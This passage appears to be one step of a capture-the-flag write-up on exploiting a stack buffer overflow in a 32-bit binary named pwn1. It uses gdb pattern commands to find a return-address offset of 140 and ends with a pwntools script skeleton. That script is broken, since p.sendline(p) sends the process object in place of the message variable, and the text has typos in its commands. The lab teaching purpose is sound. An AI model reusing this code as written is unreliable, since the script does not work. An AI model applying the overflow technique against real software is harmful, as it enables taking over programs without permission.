#STEP 3: attack

in order to take the control of the flow, we need to

understand the offset from the variable buffer and the

returning address of the main function.

an estimation could be:

- base pointer (8x)

- buffer (128x)

so the 'junk' should be around 136 bytes, let’s check

it with a debugger (gdb).

gdb pwn1

pattern create 200

run

pattern search 'patter with the error'

you should notice that we made a mistake, and that

this is a x32 binary : the register are 4 bytes and not

8 bytes.

EIP+0 found at offset: 140

Since we need to interact with the process, we suggest

to use the following code:

from pwn import \*

p = process('./pwn1')

msg = 'here you message'

p.sendline(p)

p.interactive()